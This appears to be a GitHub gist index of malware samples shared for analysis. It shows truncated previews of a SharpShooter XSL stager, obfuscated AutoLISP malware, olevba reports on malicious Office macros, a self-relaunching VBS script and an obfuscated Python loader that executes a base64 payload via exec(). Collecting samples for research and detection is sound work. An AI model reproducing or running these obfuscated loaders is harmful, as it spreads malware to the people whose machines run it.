seclib’s gists

seclib / df4b56g78rt97n8978u97k889rg7fds45fv64dcx

Created September 21, 2018 06:39

XSL stager - Sharp shooter

	<?xml version='1.0'?>
	<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:sharp="http://sharp.shooter/mynamespace">

	<msxsl:script language="JScript" implements-prefix="sharp">
	function shooter(nodelist) {
	<![CDATA[
	function setversion() {

seclib / lisp_malware

Created September 23, 2018 14:02

LISP Malware


	###################################################################
	## 332ca1146b1478cc9ddda9be07815a48071b9e83081eb995f33379385d3258f2
	(setq s::startup nil)
	(setq startup (strcat (chr 40)
	(chr 115)
	(chr 101)
	(chr 116)
	(chr 113)
	(chr 32)

seclib / visio.vba.malicious

Created September 23, 2018 14:18

Visio Test Malicious VBA

	olevba3 0.53.1 - http://decalage.info/python/oletools
	Flags Filename
	----------- -----------------------------------------------------------------
	OpX:M-S-H--- 9a97b33b4f48f134e6b1524d1bae90982d2bb56f4ceb01cecbf9cc8827263d55
	===============================================================================
	FILE: 9a97b33b4f48f134e6b1524d1bae90982d2bb56f4ceb01cecbf9cc8827263d55
	Type: OpenXML
	-------------------------------------------------------------------------------
	VBA MACRO ThisDocument.cls
	in file: visio/vbaProject.bin - OLE stream: 'VBA/ThisDocument'

seclib / vba.threat

Created September 24, 2018 10:45

vba.threat

	##############################################################################
	## 5c50ffa5477cd57cef30457a8bd9064b24766ba57efd46a3d7b5917314b0fea2

	olevba3 0.53.1 - http://decalage.info/python/oletools
	Flags Filename
	----------- -----------------------------------------------------------------
	OLE:MAS-H--- 5c50ffa5477cd57cef30457a8bd9064b24766ba57efd46a3d7b5917314b0fea2
	===============================================================================
	FILE: 5c50ffa5477cd57cef30457a8bd9064b24766ba57efd46a3d7b5917314b0fea2
	Type: OLE

seclib / 887e9eaa7f6883725b24

Created September 24, 2018 10:57

Pentest VBA VBS sample

	## Sample Hash: 80610bb3a5be887e9eaa7f6883725b24c358862b39b52c4766634554f02bc9d2
	olevba3 0.53.1 - http://decalage.info/python/oletools
	Flags Filename
	----------- -----------------------------------------------------------------
	OpX:M-S-HB-- 9eaa7f6883725b24c358862b39b52c4766634554f02bc9d2
	===============================================================================
	FILE: 9eaa7f6883725b24c358862b39b52c4766634554f02bc9d2
	Type: OpenXML
	-------------------------------------------------------------------------------
	VBA MACRO ThisWorkbook.cls

seclib / MacOffice

Created September 30, 2018 09:54

VBA MacOffice threat

	## e92833f056a197851a5476240a4f3ca94aa8f180e057bb022842dbdd3dbdaf1a
	olevba3 0.53.1 - http://decalage.info/python/oletools
	Flags Filename
	----------- -----------------------------------------------------------------
	OpX:MASI-B-- e92833f056a197851a5476240a4f3ca94aa8f180e057bb022842dbdd3dbdaf1a
	===============================================================================
	Type: OpenXML
	-------------------------------------------------------------------------------
	VBA MACRO ThisDocument.cls
	in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'

seclib / fg8f47gbh8ty89u87

Created October 8, 2018 10:13

vba webdav sample

	## Sample hash 0b078a49fad7a677e1f0f2be108c0cb301506a99fb04ea4bf94643888b1984c7
	olevba3 0.53.1 - http://decalage.info/python/oletools
	Flags Filename
	----------- -----------------------------------------------------------------
	OpX:MAS-HB-- 0b078a49fad7a677e1f0f2be108c0cb301506a99fb04ea4bf94643888b1984c7
	===============================================================================
	FILE: 0b078a49fad7a677e1f0f2be108c0cb301506a99fb04ea4bf94643888b1984c7
	Type: OpenXML
	-------------------------------------------------------------------------------
	VBA MACRO ThisWorkbook.cls

seclib / 4fe4ryyyy4jruj87t

Created October 21, 2018 12:27

vbs script malicious

	## Uploaded by @satya_enki
	bbbb2b38859b4f36
	On Error Resume Next
	Dim objShell : Set objShell = CreateObject("WScript.Shell"## uplo

	If LCase(Right(WScript.FullName, 11)) = "wscript.exe" Then
	For Each vArg In WScript.Arguments
	sArgs = sArgs & " """ & vArg & """"
	Next
	objShell.Run("cmd.exe /k cscript.exe //nologo " & Chr(34) & WScript.ScriptFullName & Chr(34) & sArgs & " && exit")

seclib / yuyiulmoikkgrthyjru

Created November 4, 2018 10:32

Python obfuscated sample

## Sample Hash: f76319b5bbc1f97b09c05649cf4d6f16944d8e4c3902f46d941e5ae9d914126b

exec("import re;import base64");exec((lambda p,y:(lambda o,b,f:re.sub(o,b,f))(r"([0-9a-f]+)",lambda m:p(m,y),base64.b64decode("IyEvZjkvZmUvZDEKCmIgODAsMTMKYiAyNApiIDVkCmIgMWEsIDI1CmIgZgpiIGI4CmIgYWEKYTcgYWQgYiAxMDgsIGM1CmE3IDI1IGIgNDcsIGI0LCA3NApiIDMzCmIgOGUKYiBhNQpiIGFkCgo1MCA9ICI4ODovL2ZhLjU3LmZmIgozNSA9IDUwKyIvMTA5LTkzLzkzLWYxLmZjIgo1ZSA9IDM1ICsgIj83Nj05ZCYxMTU9Ni41LjEiCjQ5ID0gNTArIi80OS8iCgoxZCA9IDZhKDVkLjRmWzFdKQo3MSA9ICJjYy42ZS44MiIKYTQgPSA4MC43OCgnYmE6Ly9iNS85OC8lY2InICUgKDcxKSkKOTAgPSAzMy45MSgpCjVhID0gMzMuOTEoKS4zZQoxMDggPSA5MC4zZSgnMTA4JykKMjMgPSAxMDgrIi9lYy5jZCIKYjYgPSAxMDgrIi9mNC5jZCIKNWMgPSAxMDgrIi9kNS45YiIKYjEgPSAyNC43MCgpCgoKMTQgY2UoMTAzLCA1Nj0nJywgNGM9JycpOgoJNDMgNTY6IDY5ID0gMjUuNDcoMTAzLCA1NikKCThhOiA2OSA9IDI1LjQ3KDEwMykKCTY5LjUxKCdhMC05NCcsICc3Mi81LjAgKDczOyAxMTE7IDczIDExMiA1LjE7IGEyLTEwYjsgZTg6MS45LjAuMykgOTcvOTYgNmYvMy4wLjMnKQoJNDMgNGM6CgkgIDY5LjUxKCdiNycsIDRjKQoJNDIgPSAyNS43NCg2OSkKCTE4PTQyLmVkKCkKCTQyLmU2KCkK

seclib / VBA XLS + Invoke-Obfuscation

Created November 13, 2018 00:40

VBA XLS + Invoke-Obfuscation

	## uploaded by @satya_enki

	olevba3 0.53.1 - http://decalage.info/python/oletools
	Flags Filename
	----------- -----------------------------------------------------------------
	OLE:MASIHB-- 285e6f550560f0ce01bcf0a1a47350075cca366f9e4bf9b573fd5b03c5644b29
	===============================================================================
	FILE: 285e6f550560f0ce01bcf0a1a47350075cca366f9e4bf9b573fd5b03c5644b29
	Type: OLE
	-------------------------------------------------------------------------------

Seclib seclib